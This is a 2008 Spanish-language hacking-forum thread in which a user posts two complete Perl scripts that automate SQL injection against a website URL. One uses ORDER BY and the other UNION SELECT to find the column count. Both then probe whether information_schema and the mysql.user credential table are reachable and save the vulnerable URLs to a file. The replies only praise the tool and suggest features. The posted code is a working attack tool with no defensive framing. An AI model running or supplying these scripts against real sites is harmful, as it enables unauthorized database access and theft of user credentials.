elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [+] MySQL Column Finder v2
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [+] MySQL Column Finder v2  (Leído 3,243 veces)
Login-Root

Desconectado Desconectado

Mensajes: 37


Trust your technolust


Ver Perfil
[+] MySQL Column Finder v2
« en: 13 Julio 2008, 01:20 am »

Hago otro thread para no enredar mucho el otro xD. v2 de mi buscador de columnas :D


UTILIZANDO ORDER:


Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL utilizando la sentencia ORDER.   ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=1;
$count=1;
while ($column <= $ARGV[1])
{
    $sql=$ARGV[0]."-1+order+by+".$column."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/)
    {
         print "\n[+] Fallo el intento de obtener $column columnas\n";
         $column --;
         if ($column == 0)
         {
             $column ++;
         }
         $sql=$ARGV[0]."-1+order+by+".$column."--";
         print "[+] La web tiene $column columnas:\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         while ($count < $column)
         {
            $union.=','.$count;
            $count++;
         }
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
     }
     else
     {
         print "\n[!] Sin error al intentar con $column columnas";
         $column ++;
     }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);

Ejemplo:


_______________________________________________________________________________


UTILIZANDO UNION:


Código:
#!/usr/bin/perl

###########################################################################################
# Busca la cantidad de columnas en una inyeccion MySQL  utilizando la sentencia UNION.  ###
# By Login-Root                                                                         ###
# MSN: no.more@passport.com                                                             ###
# Jabber: login-root@x23.eu                                                             ###
# E-Mail: login_root@yahoo.com.ar                                                       ###
# In memory of ka0x | Greetz: KSHA ; Psiconet ; Knet ; N3xt.d00r ; VenoM                ###
# Many thanks to boER, who teach me a little of perl ;D                                 ###
# VISIT: WWW.MITM.CL | WWW.REMOTEEXECUTION.ORG                                          ###
###########################################################################################

use LWP::Simple;

if(!$ARGV[2])
{
     print "\n\n## c0ded by Login-Root | 2008 ##";
     print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
     print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
     exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=0;

while ($column <= $ARGV[1])
{
    $union.=','.$column;
    if ($column == 0)
    {
        $union='';
    }
    $sql=$ARGV[0]."-1+union+all+select+0".$union."--";
    $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

    if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/)
    {
         $column ++;
         print "\n[!] Fallo el intento de obtener $column columnas";
    }
     else
     {
         $column ++;
         print "\n[+] La web posee $column columnas\n\n";
         print "$sql\n\n";
         print WEB "$sql\n";
         print "\n[+] Chequeando si existe Information_Schema...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
         $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] Information_Schema no disponible";
         }
         else
         {
            print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
            print WEB "$sql\n";
         }
         print "\n[+] Chequeando si existe MySQL.User...";
         $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
         $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
         if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
         {
            print "\n[-] MySQL.User no disponible\n\n";
         }
         else
         {
            print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
            print WEB "$sql\n";
         }
         print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
         print "## c0ded by Login-Root | 2008 ##\n\n";
         exit (1);
         }
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);

Ejemplo:



Saludos.


« Última modificación: 13 Julio 2008, 02:33 am por Login-Root » En línea

8-Bit
Darioxhcx


Desconectado Desconectado

Mensajes: 2.294


Ver Perfil
Re: [+] MySQL Column Finder v2
« Respuesta #1 en: 13 Julio 2008, 01:23 am »

la otra ves encontre en una web 189 columnas u.u
las sake y anote todas a mano jajajajaja
que loco
buen post man felicitaciones =D
saludos


En línea

berz3k
Colaborador
***
Desconectado Desconectado

Mensajes: 1.212



Ver Perfil
Re: [+] MySQL Column Finder v2
« Respuesta #2 en: 14 Julio 2008, 09:52 am »

No era necesario abrir otro hilo, solo agregaste nueva opcion "save file" etc etc, buen code repito, supongo ira creciendo con el tiempo.

-berz3k.

En línea

^Tifa^


Desconectado Desconectado

Mensajes: 2.804


Ver Perfil
Re: [+] MySQL Column Finder v2
« Respuesta #3 en: 28 Julio 2008, 15:27 pm »

Interesante,  ::)  si gustas mas adelante cuando des por terminado tu proyecto. Solo si estas interesado, podria crearte la contraparte grafica, tambien en Perl para los nostalgicos que le gustan las aplicaciones GUI nada mas  :P

Una sugerencia :: Tambien puedes incluir ambos scripts en 1 solo, asi no separas uno del otro solo porque uno oferta con la funcion 'Union' y el otro no. Puedes ir pensando en ir modulando tu aplicacion :) si vas a continuarla ya que se te hara un poco extensa.
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
[WarScriptZone]UPX OEP Finder
Ingeniería Inversa
Tinkipinki 0 2,649 Último mensaje 4 Septiembre 2011, 12:05 pm
por Tinkipinki
[Script]Generic OEP Finder por UND3R
Ingeniería Inversa
.:UND3R:. 5 4,792 Último mensaje 5 Septiembre 2011, 22:10 pm
por .:UND3R:.
alter column
Bases de Datos
m@o_614 4 3,312 Último mensaje 19 Abril 2013, 20:35 pm
por m@o_614
Column 'cliente.docIdentidad' in on clause is ambiguous
Bases de Datos
mapers 1 2,640 Último mensaje 15 Mayo 2013, 22:10 pm
por Shell Root
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines